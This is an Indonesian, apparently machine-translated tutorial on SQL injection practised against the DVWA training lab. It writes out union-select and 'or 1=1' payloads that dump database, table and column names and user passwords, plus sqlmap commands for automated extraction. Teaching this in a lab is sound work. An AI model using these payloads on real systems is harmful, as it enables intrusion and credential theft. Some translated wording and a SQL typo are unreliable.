Berbagi teknologi

[Pengembangan Tes] - Pengujian Penetrasi Keamanan

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

1. Penetrasi keamanan

1.1 Klasifikasi

  • keamanan basis data web
  • Keamanan server aplikasi web (kerentanan pengunggahan file, kerentanan penyertaan file)
  • Keamanan klien web (serangan lintas situs XSS)

2. injeksi sql

2.1 Pengenalan injeksi sql

  • Injeksi SQL menempati urutan teratas dalam daftar masalah keamanan
  • Serangan injeksi SQL adalah parameter input tidak disaring dan kemudian langsung digabungkan ke dalam pernyataan SQL untuk dianalisis.
  • Injeksi SQL adalah teknik serangan yang menambahkan kode SQL ke parameter input dan meneruskannya ke server untuk diurai dan dieksekusi.

2.2 Prinsip injeksi SQL

  • Penyerang mengirimkan karakter jahat di halaman
  • Server tidak memfilter parameter yang dikirimkan atau pemfilteran tidak mencukupi.
  • Penyerang menggunakan penyambungan pernyataan sql untuk mendapatkan informasi sensitif dari database

2.3 Bahaya injeksi sql

  • Kebocoran basis data
  • Data pengguna dibeli dan dijual secara ilegal
  • Mengompromikan keamanan aplikasi web

2.4 Metode implementasi injeksi SQL

  • petunjuk
    • Temukan: titik injeksi
    • Masukan: Sintaks kombinasi injeksi umum SQL untuk injeksi
  • otomatis (alat)
    • Alat: Pindai titik injeksi
    • Masukan: Secara otomatis mencoba berbagai kombinasi sintaksis

3.Pengaturan lingkungan

3.1 mesin virtual vmware

3.1.1 Fungsi

  • Perangkat lunak mesin virtual, Anda dapat menggunakan perangkat lunak untuk menginstal beberapa sistem operasi virtual (Linux, windows) pada mesin fisik
  • Drone dan penetran target dijalankan dengan perangkat lunak VMware
    Tutorial pengunduhan VMware

3.2 Drone target (belajar menggunakan lingkungan proyek)

memengaruhi

3.3 Mesin penetrasi (belajar menyerang lingkungan injeksi sql)

memengaruhi:

  • Kali berisi ratusan alat yang dapat digunakan untuk berbagai tugas keamanan informasi seperti pengujian penetrasi, penelitian keamanan

4. Injeksi manual

4.1 Persiapan lingkungan

Deskripsi: Praktek injeksi manual melalui aplikasi web drone
melangkah:

  • Mulai sasaran drone OWASP
    Masukkan deskripsi gambar di sini

  • Akses drone melalui browser

  • Kunjungi proyek OWASP-dvwa
    Masukkan deskripsi gambar di sini

  • Gabung
    Masukkan deskripsi gambar di sini

  • Pilih aplikasi injeksi sql
    Masukkan deskripsi gambar di sini

4.2 Temukan titik injeksi

Catatan: Terutama menggunakan tanda kutip tunggal dan karakter escape, terutama tanda kutip tunggal
prinsip:

#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';
  • 1
  • 2
  • 3
  • 4

Masukkan deskripsi gambar di sini

Masukkan deskripsi gambar di sini

4.3 Logis ATAU

Masukkan deskripsi gambar di sini

4.4 Menebak jumlah kolom

  1. oleh serikat pekerja
' union select 1,2 #
  • 1

Masukkan deskripsi gambar di sini
2. Dengan logika OR

'or 1=1#
  • 1

Masukkan deskripsi gambar di sini

4.5 Dapatkan database, tabel, dan kolom

Dapatkan nama basis data

' union select 1,database()#
  • 1

Masukkan deskripsi gambar di sini
Dapatkan meja

' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
  • 1

Masukkan deskripsi gambar di sini

Dapatkan kolom

' union select column_name,1 from information_schema.columns where table_name='users' #
  • 1

Masukkan deskripsi gambar di sini

4.6 Dapatkan data

//1. 获取单个字段数据
' union select user,1 from users#

//2. 获取两个字段
' union select user,password from users#
  • 1
  • 2
  • 3
  • 4
  • 5

Masukkan deskripsi gambar di sini

4.7 fungsi gabungan

Fungsi: Menyambungkan beberapa string menjadi satu string
Sintaks: concat(str1,str2,…)
Contoh:

  • Dapatkan user_id, user, password dari tabel pengguna dan tampilkan dalam dua kolom
select user_id,concat (user,password) from dvwa,users;
  • 1

Masukkan deskripsi gambar di sini

  • Selesaikan masalah penyambungan pengguna dan kata sandi
select user_id,concat('user:',user,' password:',password) from dvwa.users;
  • 1

Masukkan deskripsi gambar di sini

  • Dapatkan banyak bidang
' union select user,concat(first_name,' ',last_name,' ',password) from users#
  • 1

Masukkan deskripsi gambar di sini

5. Injeksi otomatis

5.1 Pengenalan injeksi otomatis

Catatan: Injeksi otomatis mengacu pada penggunaan alat alih-alih pekerjaan manual untuk menyelesaikan operasi injeksi sql.
Alat: sqlmap

5.2 Secara otomatis menyuntikkan lingkungan

  • Mulai dronenya
  • Nyalakan mesin penetrasi

5.3 peta sql

Alat: sqlmap

  • Alat pengujian penetrasi sumber terbuka
  • Secara otomatis mendeteksi dan mengeksploitasi kerentanan injeksi SQL dan mengambil alih server database
    Membangun:

5.3.1 Penggunaan dasar sqlmap

parameter

  • -u: Pindai url target
  • –batch: Secara otomatis memproses informasi cepat
  • –cookie: parameter cookie tambahan

melangkah

  • Pindai titik injeksi
  • Dapatkan nama basis data
  • Dapatkan nama tabel
  • Dapatkan nama bidang
  • mengambil data

Karena kita perlu login, pertama-tama kita mendapatkan cookie dari halaman login
Masukkan deskripsi gambar di sini
Kemudian mulailah memindai titik injeksi
Masukkan deskripsi gambar di sini
Suntikan berhasil
Masukkan deskripsi gambar di sini

5.3.2 sqlmap mendapatkan nama perpustakaan

– current-db: Meminta nama database yang digunakan oleh web saat ini
-D: Menerapkan database yang ditentukan
Masukkan deskripsi gambar di sini
hasil operasi:
Masukkan deskripsi gambar di sini

5.3.3 sqlmap mendapat tabel

– current-db: Kueri semua nama tabel di bawah perpustakaan yang ditentukan (Anda perlu menggunakan -D untuk menentukan nama perpustakaan terlebih dahulu)
-T: Tentukan tabel
Masukkan deskripsi gambar di sini

hasil operasi:
Masukkan deskripsi gambar di sini

5.3.4 sqlmap mendapat kolom

– kolom: Kueri semua bidang di bawah tabel yang ditentukan (Anda perlu menggunakan -T untuk menentukan nama tabel terlebih dahulu)
-C: Tentukan nama bidang

Masukkan deskripsi gambar di sini
hasil operasi:
Masukkan deskripsi gambar di sini

5.3.5 sqlmap memperoleh data

–dump: Mengunduh data

Masukkan deskripsi gambar di sini
hasil operasi:
Masukkan deskripsi gambar di sini